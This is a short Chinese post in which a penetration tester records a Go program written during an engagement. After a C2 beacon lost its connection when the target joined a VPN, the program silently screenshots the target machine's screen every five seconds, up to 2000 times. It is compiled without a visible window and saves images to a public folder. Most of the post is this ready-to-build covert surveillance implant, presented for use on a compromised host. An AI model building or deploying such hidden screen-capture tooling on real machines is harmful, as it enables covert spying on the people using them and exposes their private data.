今天好兄弟打项目时候碰到这么一个情况,目标机器访问内网应用需要连接VPN,会切断外网连接,导致beacon无法及时执行回显命令
为了证明能够突破隔离,需要目标机器访问内网应用的截图,于是简单写了下,当作记录
go build -trimpath -ldflags="-s -w -H windowsgui" main.go
为了避免后续beacon掉线导致进程一直执行,需要设置生成次数限制
package main
import (
"fmt"
"image/png"
"os"
"path/filepath"
"time"
"github.com/vova616/screenshot"
)
func main() {
//路径
savePath := "C:\\Users\\Public\\test"
screenshotFolder := filepath.Join(savePath, "screenshot_%s.png")
if _, err := os.Stat(savePath); os.IsNotExist(err) {
err := os.MkdirAll(savePath, 0755)
if err != nil {
panic(err)
}
}
// 次数限制
limit := 2000
var count int
for count < limit {
img, err := screenshot.CaptureScreen()
if err != nil {
panic(err)
}
fileName := fmt.Sprintf(screenshotFolder, time.Now().Format("20060102_150405"))
f, err := os.Create(fileName)
if err != nil {
panic(err)
}
defer f.Close()
err = png.Encode(f, img)
if err != nil {
panic(err)
}
count++
// 每隔5秒执行一次截图
time.Sleep(5 * time.Second)
}
fmt.Println("已达到截图次数限制")
}
运行后会在 C:\\Users\\Public\\test
目录下,按照设置的间隔时间生成截图